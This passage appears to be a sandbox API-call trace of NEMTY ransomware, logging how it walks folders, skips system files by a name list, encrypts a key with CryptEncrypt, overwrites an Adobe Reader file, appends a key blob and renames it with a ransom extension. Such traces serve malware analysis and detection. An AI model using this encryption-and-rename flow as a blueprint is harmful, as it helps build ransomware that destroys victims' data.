HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0173.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0173.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0173.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0173.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0173.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.851] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b3f5cf0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1b3f5cf0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1b3f5cf0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x3440ee8, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0173.851] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0173.851] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0173.851] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0173.851] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0173.851] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0173.851] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0173.851] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0173.851] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0173.851] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0173.851] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0173.851] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0173.851] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0173.851] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0173.851] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0173.851] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0173.851] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0173.851] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0173.851] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0173.851] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0173.851] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0173.851] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0173.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.852] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.852] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0173.852] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.852] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0173.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.852] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.852] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.852] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.852] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340048 [0173.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.852] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b3f5cf0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1b3f5cf0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1b3f5cf0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x3440ee8, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0173.852] FindClose (in: hFindFile=0x3423af0 | out: hFindFile=0x3423af0) returned 1 [0173.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0173.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0173.853] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f498460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Spelling.CAT", cAlternateFileName="")) returned 1 [0173.853] lstrcmpiW (lpString1="Spelling.CAT", lpString2=".") returned 1 [0173.853] lstrcmpiW (lpString1="Spelling.CAT", lpString2="..") returned 1 [0173.853] lstrcmpiW (lpString1="Spelling.CAT", lpString2="...") returned 1 [0173.853] lstrcmpiW (lpString1="Spelling.CAT", lpString2="windows") returned -1 [0173.853] lstrcmpiW (lpString1="Spelling.CAT", lpString2="$RECYCLE.BIN") returned 1 [0173.853] lstrcmpiW (lpString1="Spelling.CAT", lpString2="rsa") returned 1 [0173.853] lstrcmpiW (lpString1="Spelling.CAT", lpString2="NTDETECT.COM") returned 1 [0173.853] lstrcmpiW (lpString1="Spelling.CAT", lpString2="ntldr") returned 1 [0173.853] lstrcmpiW (lpString1="Spelling.CAT", lpString2="MSDOS.SYS") returned 1 [0173.853] lstrcmpiW (lpString1="Spelling.CAT", lpString2="IO.SYS") returned 1 [0173.853] lstrcmpiW (lpString1="Spelling.CAT", lpString2="boot.ini") returned 1 [0173.853] lstrcmpiW (lpString1="Spelling.CAT", lpString2="boot.ini") returned 1 [0173.853] lstrcmpiW (lpString1="Spelling.CAT", lpString2="AUTOEXEC.BAT") returned 1 [0173.853] lstrcmpiW (lpString1="Spelling.CAT", lpString2="ntuser.dat") returned 1 [0173.853] lstrcmpiW (lpString1="Spelling.CAT", lpString2="desktop.ini") returned 1 [0173.853] lstrcmpiW (lpString1="Spelling.CAT", lpString2="CONFIG.SYS") returned 1 [0173.853] lstrcmpiW (lpString1="Spelling.CAT", lpString2="RECYCLER") returned 1 [0173.853] lstrcmpiW (lpString1="Spelling.CAT", lpString2="BOOTSECT.BAK") returned 1 [0173.853] lstrcmpiW (lpString1="Spelling.CAT", lpString2="bootmgr") returned 1 [0173.853] lstrcmpiW (lpString1="Spelling.CAT", lpString2="programdata") returned 1 [0173.853] lstrcmpiW (lpString1="Spelling.CAT", lpString2="appdata") returned 1 [0173.853] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.853] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.CAT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.853] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.CAT", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.CAT", lpUsedDefaultChar=0x0) returned 12 [0173.853] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.853] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.CAT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.853] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.CAT", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.CAT", lpUsedDefaultChar=0x0) returned 12 [0173.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.853] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.853] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.CAT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.853] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.CAT", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.CAT", lpUsedDefaultChar=0x0) returned 12 [0173.854] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.854] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.CAT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.854] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.CAT", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.CAT", lpUsedDefaultChar=0x0) returned 12 [0173.854] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0173.854] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0173.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0173.854] Sleep (dwMilliseconds=0x5) [0173.865] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b468110, dwHighDateTime=0x1d561e8)) [0173.871] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b468110, dwHighDateTime=0x1d561e8)) [0173.871] GetLastError () returned 0x12 [0173.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.874] GetLastError () returned 0x12 [0173.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.875] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.879] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0173.879] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0173.880] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0173.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0173.880] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="ijJmlVoFxbpiljYMOmWZC+EJRl+WWStRnbd+w5pB1di9To4xPO7yl4oG0GMB8Dbi\r\nX840VVoiOh+ljo+rIw6YZivnDcYmNUmbL17O+iYgaVgh8AMiXvRFBofgmdiswxSd\r\n+gGd1XpYLblnzQT5nNcMqJh+DmDYMFoOD5M69WgBvpK9BpaqYa7i0JWJNCbV+c/+\r\nhLM5eAsLGdqy8vorydt5PBI896uStQ4jxOpcF0CuZHwdnlg/3e+fGpVqrXyhlqaV\r\nkSR3eYI/tp0dJPR1Ydp8ZKMKO5fc0/asu7IOy3nKznpjSwh7v1njZaUNtH2rsjR3\r\nYD2JsthksQgEK+DHbBOmKA==\r\n", pcchString=0x653e5dc) returned 1 [0173.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0173.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0173.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0173.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0173.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0173.880] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Spelling.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\spelling.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0173.881] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10752) returned 1 [0173.881] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2a00) returned 0x6352c48 [0173.881] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.881] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2a00, lpOverlapped=0x0) returned 1 [0173.883] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.883] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2a00, lpOverlapped=0x0) returned 1 [0173.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0173.884] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2a00 [0173.884] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0173.884] CloseHandle (hObject=0x2e8) returned 1 [0173.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0173.884] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.884] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0173.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0173.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0173.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.884] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Spelling.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\spelling.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Spelling.CAT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\spelling.cat._nemty_kgobjgd_")) returned 1 [0173.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0173.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0173.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0173.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0173.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0173.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0173.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.885] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5309e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="updater.CAT", cAlternateFileName="")) returned 1 [0173.885] lstrcmpiW (lpString1="updater.CAT", lpString2=".") returned 1 [0173.885] lstrcmpiW (lpString1="updater.CAT", lpString2="..") returned 1 [0173.885] lstrcmpiW (lpString1="updater.CAT", lpString2="...") returned 1 [0173.885] lstrcmpiW (lpString1="updater.CAT", lpString2="windows") returned -1 [0173.885] lstrcmpiW (lpString1="updater.CAT", lpString2="$RECYCLE.BIN") returned 1 [0173.885] lstrcmpiW (lpString1="updater.CAT", lpString2="rsa") returned 1 [0173.885] lstrcmpiW (lpString1="updater.CAT", lpString2="NTDETECT.COM") returned 1 [0173.885] lstrcmpiW (lpString1="updater.CAT", lpString2="ntldr") returned 1 [0173.885] lstrcmpiW (lpString1="updater.CAT", lpString2="MSDOS.SYS") returned 1 [0173.885] lstrcmpiW (lpString1="updater.CAT", lpString2="IO.SYS") returned 1 [0173.885] lstrcmpiW (lpString1="updater.CAT", lpString2="boot.ini") returned 1 [0173.885] lstrcmpiW (lpString1="updater.CAT", lpString2="boot.ini") returned 1 [0173.885] lstrcmpiW (lpString1="updater.CAT", lpString2="AUTOEXEC.BAT") returned 1 [0173.885] lstrcmpiW (lpString1="updater.CAT", lpString2="ntuser.dat") returned 1 [0173.885] lstrcmpiW (lpString1="updater.CAT", lpString2="desktop.ini") returned 1 [0173.885] lstrcmpiW (lpString1="updater.CAT", lpString2="CONFIG.SYS") returned 1 [0173.885] lstrcmpiW (lpString1="updater.CAT", lpString2="RECYCLER") returned 1 [0173.885] lstrcmpiW (lpString1="updater.CAT", lpString2="BOOTSECT.BAK") returned 1 [0173.885] lstrcmpiW (lpString1="updater.CAT", lpString2="bootmgr") returned 1 [0173.885] lstrcmpiW (lpString1="updater.CAT", lpString2="programdata") returned 1 [0173.885] lstrcmpiW (lpString1="updater.CAT", lpString2="appdata") returned 1 [0173.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.886] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.CAT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0173.886] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.CAT", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.CAT", lpUsedDefaultChar=0x0) returned 11 [0173.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.886] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.CAT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0173.886] 